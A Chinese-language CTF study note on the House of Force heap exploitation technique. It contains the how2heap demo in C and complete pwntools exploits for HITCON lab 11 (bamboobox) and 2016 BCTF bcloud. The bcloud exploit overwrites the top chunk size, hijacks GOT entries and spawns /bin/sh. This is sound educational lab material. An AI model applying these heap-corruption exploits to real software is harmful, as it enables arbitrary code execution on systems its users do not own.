House Of Force原理

how2heap 的例子

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[])
{
    fprintf(stderr, "\n欢迎学习 House of Force\n\n");
    fprintf(stderr, "House of Force 这种方法是去覆写 top chunk 这样 malloc 的时候就可以 malloc 到任意地址\n");
    fprintf(stderr, "top chunk 是一类特殊的 chunk，在内存最后面。并且是当 malloc 向操作系统请求更多空间时将调整大小的块。\n");
    fprintf(stderr, "\n最后我们会覆盖这个变量 %p.\n", bss_var);
    fprintf(stderr, "现在变量值是：%s\n", bss_var);
    fprintf(stderr, "\n先分配一个 chunk.\n");
    intptr_t *p1 = malloc(256);
    fprintf(stderr, "malloc(256) 的地址： %p.\n", p1 - 2);
    fprintf(stderr, "\n现在有两块，一个我们申请的，一个 top chunk.\n");
    int real_size = malloc_usable_size(p1);
    fprintf(stderr, "我们申请的 chunk 加上 chunk 头，大小是：%ld.\n", real_size + sizeof(long)*2);
    fprintf(stderr, "\n现在假设有一个漏洞，可以覆盖掉 top chunk 的头部分\n");
    intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
    fprintf(stderr, "\ntop chunk 起始地址是：%p\n", ptr_top);
    fprintf(stderr, "\n用一个很大的值覆盖掉 top chunk 的 size 位可以防止 malloc 调用 mmap\n");
    fprintf(stderr, "top chunk 之前的 size：%#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
    fprintf(stderr, "top chunk 现在的 size：%#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    fprintf(stderr, "\n因为现在 top chunk 的 size 是很大的，所以我们可以调用 malloc 而不会调用 mmap\n");
    /*
     * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
     * new_top = old_top + nb
     * nb = new_top - old_top
     * req + 2sizeof(long) = new_top - old_top
     * req = new_top - old_top - 2sizeof(long)
     * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
     * req = dest - old_top - 4*sizeof(long)
     */
    unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
    fprintf(stderr, "\n我们想把数据写在这里：%p, top chunk 在：%p, 还要把 chunk 头算进去,我们将要申请 %#lx 字节.\n", bss_var, ptr_top, evil_size);
    void *new_ptr = malloc(evil_size);
    fprintf(stderr, "新申请的 chunk 将会与之前的 top chunk 在同一个位置: %p\n", new_ptr - sizeof(long)*2);
    void* ctr_chunk = malloc(100);
    fprintf(stderr, "\n接下来再申请 chunk 的话将会指向我们想要修改的地方\n");
    fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
    fprintf(stderr, "现在我们就可以控制 bss_var 这块地方的值了\n");
    fprintf(stderr, "... 之前内容是: %s\n", bss_var);
    fprintf(stderr, "... 接下来把 \"YEAH!!!\" 写到那里...\n");
    strcpy(ctr_chunk, "YEAH!!!");
    fprintf(stderr, "... 新的内容: %s\n", bss_var);
    // some further discussion:
    //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
    //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
    //  "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
    //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
    //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
    //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
    //  "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
    //fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
    //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
    //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}

首先申请了 0x100 大小的 chunk，现在的内存布局如下

修改 top chunk 的 size 为一个很大的数

当我们去申请的时候，新的 top chunk 的地址 new_top 应该是 old_top + size（size 是 malloc 的 chunk 的大小加上 chunk 头的大小），我们想要去控制 new_top 就只能通过控制这个 size
我们想要让 new_top 到 0x602060，0x602060-0x20 =old_top + size，所以这个 size 应该是 0x602040-old_top=0xffffef30 即 0xffffffffffffef30，也就是说只要申请 0xffffffffffffef30 大小的 chunk 就能把 top chunk 改到0x602060-0x10，然后再申请一个的时候就是 0x602060 了
为啥减去了0x20 呐？
我们想要申请到 0x602060 的时候要留出它的 chunk 头 0x10 这就是说 0x602060-0x10 = old_top+size，即 size = 0x602060-0x10 - old_top，但是还要注意，我们去申请 size 的时候实际上申请的是 size+0x10 大小的 chunk，还要把这个 0x10 留出来，即我们要少申请 0x10 大小的 size
所以 size = 0x602060-0x10 - old_top -0x10，减的一共是 0x20

这之后再去申请一个 chunk 就能控制前面定义的变量了

HITCON training lab 11

因为程序一开始会申请一个堆块，存放 hello 和 goodbye 的函数指针，所以思路是把内存申请的那里，然后修改 goodbye 指针为 magic

create(0x30, "yichen")
content='a'*0x30+'1'*8+p64(0xffffffffffffffff)
edit(0,0x40,content)

先申请一个，然后通过编辑一个更大的 size 把 top chunk 给改掉

想要修改那个指针就需要 malloc 申请到 topchunk - 0x60 也就是 0x603000 那里，另外还要减去 0x10 我们申请的那个 size 的 chunk 头的大小

offset=-0x60-0x10
create(offset,'1234')
create(0x10,p64(magic)*2)
quit()

改后：

可以读到 flag，wp 减的 0x8 跟 0xf 不懂为啥，按照上面原理那样去做是可以达到目的的 Orz…

完整 exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./bamboobox')
def cmd(choice):
  p.sendlineafter('',str(choice))
def create(size,content):
  cmd(2)
  p.sendlineafter('item name:',str(size))
  p.sendlineafter('item:',content)
def edit(index,size,content):
  cmd(3)
  p.sendlineafter('of item:',str(index))
  p.sendlineafter('item name:',str(size))
  p.sendlineafter('the item:',content)
def delete(index):
  cmd(4)
  p.sendlineafter('of item:',str(index))
def quit():
  cmd(5)
magic = 0x400d49
create(0x30, "yichen")
content='a'*0x30+'1'*8+p64(0xffffffffffffffff)
edit(0,0x40,content)
offset=-0x60-0x10
create(offset,'1234')
create(0x10,p64(magic)*2)
quit()
p.interactive()

2016 BCTF bcloud

exp：

from pwn import *
context.log_level = 'debug'
context.binary = "./bcloud"
p = process("./bcloud")
elf = ELF("./bcloud")
libc = ELF('./libc.so.6')
def cmd(choice):
  p.sendlineafter('option--->>',str(choice))
def create(size,content):
  cmd(1)
  p.sendlineafter('note content:\n',str(size))
  p.sendlineafter('the content:\n',content)
def edit(index,content):
  cmd(3)
  p.sendlineafter('the id:\n',str(index))
  p.sendlineafter('new content:\n',content)
def delete(index):
  cmd(4)
  p.sendlineafter('the id:\n',str(index))
def syn():
  cmd(5)
p.sendafter('Input your name:\n', 'a' * 0x40)
p.recvuntil('Hey ' + 'a' * 0x40)
heap_base = u32(p.recv(4)) - 8
p.sendafter('Org:\n', 'a' * 0x40)
p.sendlineafter('Host:\n', p32(0xffffffff))
topchunk_addr = heap_base + (0x40 + 8) * 3
notesize_addr = 0x0804B0A0
notelist_addr = 0x0804B120
p.sendlineafter('option--->>', '1')
offset = notesize_addr - 8 - topchunk_addr
malloc_size = offset - 8
p.sendlineafter('Input the length of the note content:\n',str(malloc_size - 4))
if malloc_size - 4 > 0:
    p.sendlineafter('Input the content:\n', '')
payload = p32(16) * 3 + (notelist_addr - notesize_addr - 12) * 'a' + p32(elf.got['free']) + p32(elf.got['atoi']) * 2
create(1000,payload)
edit(0,p32(elf.plt['puts']))
delete(1)
atoi_addr = u32(p.recv(4))
libc_base = atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
edit(2,p32(system_addr))
p.sendlineafter('option--->>', '/bin/sh\x00')
p.interactive()

在一开始要求输入 name 的时候后面有一个 strcpy 函数，注意 s 跟 tmp 距离 ebp 的位置，当输入的的 name 够了 0x40 的时候会把 tmp 的地址一起复制过去（strcpy 遇到 \x00 截断）那么可以通过这个来泄漏 heap 的地址

另外，在 org 那里也有这个问题，把 s 复制到 v2 那里，而 v2 是与 top chunk 相邻的，可以通过 v2 覆盖掉 top chunk 的 size

这些个指针什么的画个图来看一下，当我们把 org 中填充满了，然后他就会把后面的 *org 与 host 也给复制过来，那 host 那个地方如果写上 0xffffffff 的话就可以把 top chunk 的 size 给覆盖掉了

p.sendlineafter('Input your name:\n','a'*0x40)
p.recvuntil('Hey ' + 'a' * 0x40)
p.sendlineafter('Org:\n','a'*0x40)
heap_base = u32(p.recv(4)) - 8
p.sendlineafter('Host:\n', p32(0xffffffff))
top_addr=heap_base+(0x40+0x8)*3

然后计算出需要申请的 size，另外这里申请一个负数的时候它直接退出了，但是在 pwntools 的 debug 输出中却可以直接成功！？

offset = notesize_addr - 8 - topchunk_addr
malloc_size = offset - 8
p.sendlineafter('Input the length of the note content:\n',str(malloc_size - 4))

这样 top chunk 就被改到了 0x0804B0A0-0x8 这里，去申请的时候就可以改写

payload = p32(16) * 3 + (notelist_addr - notesize_addr - 12) * 'a' + p32(elf.got['free']) + p32(elf.got['atoi']) * 2
create(1000,payload)

这里前面三个 p32(16) 是 size，然后中间填充一堆 a，后面是到了 notelist_addr 那里，分别是 free 的 got 表项和两个 atoi 的 got 表

这样的话就可以编辑这些 got 表项了，先把 free 的 got 表改成 put 的，泄露出 atoi 的真实地址

edit(0,p32(elf.plt['puts']))
delete(1)
atoi_addr = u32(p.recv(4))

再把 atoi 的 got 表项改成 system 的地址，直接输入 /bin/sh 就可以啦

libc_base = atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
edit(2,p32(system_addr))
p.sendlineafter('option--->>', '/bin/sh\x00')
p.interactive()